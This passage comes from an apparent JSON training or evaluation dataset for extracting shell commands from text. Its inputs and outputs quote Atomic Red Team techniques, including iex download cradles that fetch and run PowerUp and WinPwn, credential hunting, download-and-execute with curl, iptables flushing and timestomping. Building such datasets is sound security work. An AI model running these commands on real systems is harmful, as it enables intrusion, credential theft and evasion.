https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Multiple threat actors utilize this PowerShell technique to fetch payloads, executing the command: (New-Object System.Net.WebClient).DownloadFile(\"#{remote_file}\", \"#{destination_path}\"); The following command creates a test file that mimics how OSTap spreads across network shares and drives: pushd #{destination_path}\necho var fileObject = WScript.createobject(\"Scripting.FileSystemObject\");var newfile = fileObject.CreateTextFile(\"AtomicTestFileT1105.js\", true);newfile.WriteLine(\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\");newfile.Close(); > AtomicTestT1105.js\nCScript.exe AtomicTestT1105.js //E:JScript\ndel AtomicTestT1105.js /Q >nul 2>&1\ndel AtomicTestFileT1105.js /Q >nul 2>&1\npopd",
    "output": "{\"command_list\": [\"(New-Object System.Net.WebClient).DownloadFile(\\\"#{remote_file}\\\", \\\"#{destination_path}\\\")\\n\", \"pushd #{destination_path}\\necho var fileObject = WScript.createobject(\\\"Scripting.FileSystemObject\\\");var newfile = fileObject.CreateTextFile(\\\"AtomicTestFileT1105.js\\\", true);newfile.WriteLine(\\\"This is an atomic red team test file for T1105. It simulates how OSTap worms accross network shares and drives.\\\");newfile.Close(); > AtomicTestT1105.js\\nCScript.exe AtomicTestT1105.js //E:JScript\\ndel AtomicTestT1105.js /Q >nul 2>&1\\ndel AtomicTestFileT1105.js /Q >nul 2>&1\\npopd\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform reconnaissance in Active Directory, execute AdFind with this command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=subnet) #{optional_args}; The commands known to be used by Qakbot during reconnaissance activities include: \"#{recon_commands}\"\n",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=subnet) #{optional_args}\\n\", \"\\\"#{recon_commands}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For compiling a C file across FreeBSD, Linux, or macOS systems, use either of these commands: g++ #{input_file} && ./a.out\nclang++ #{input_file} && ./a.out\n; To compile and execute a Go file on FreeBSD, Linux, or macOS, use the following command: go run #{input_file}",
    "output": "{\"command_list\": [\"g++ #{input_file} && ./a.out\\nclang++ #{input_file} && ./a.out\\n\", \"go run #{input_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves downloading a file via curl, setting execution permissions, and running it using the command: curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}; You can fetch a remote file by executing this command with nimgrab.exe: cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\nimgrab.exe\" #{remote_file} #{destination_path}",
    "output": "{\"command_list\": [\"curl -sO #{remote_url}; chmod +x #{payload_name} | bash #{payload_name}\\n\", \"cmd /c \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\nimgrab.exe\\\" #{remote_file} #{destination_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    While iptables can't be directly disabled like ufw, attackers can achieve a similar effect by clearing all rules with this command: iptables-save > /tmp/iptables.rules\niptables -F\n; Rather than disabling iptables entirely, attackers may choose to remove a particular rule that blocks FTP traffic, which can be done with this command: iptables -D OUTPUT -p tcp --dport 21 -j DROP.",
    "output": "{\"command_list\": [\"iptables-save > /tmp/iptables.rules\\niptables -F\\n\", \"iptables -D OUTPUT -p tcp --dport 21 -j DROP\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, used by Stitch RAT, modifies a file's access timestamp with the command: Get-ChildItem \"#{file_path}\" | % { $_.LastAccessTime = \"#{target_date_time}\" }\nSuccess can be confirmed by viewing the file's Properties where the Accessed time should display as 1970.; The process involves placing kxwn.lock in #{file_path} and executing timestomp.ps1 via this command: import-module \"#{file_path}\\timestomp.ps1\"\ntimestomp -dest \"#{file_path}\\kxwn.lock\"\n",
    "output": "{\"command_list\": [\"Get-ChildItem \\\"#{file_path}\\\" | % { $_.LastAccessTime = \\\"#{target_date_time}\\\" }\\n\", \"import-module \\\"#{file_path}\\\\timestomp.ps1\\\"\\ntimestomp -dest \\\"#{file_path}\\\\kxwn.lock\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For password searching on the local system, use the following passhunt command through WinPwn: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npasshunt -local $true -noninteractive; The system will execute SessionGopher via WinPwn when you run:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsessionGopher -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npasshunt -local $true -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nsessionGopher -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
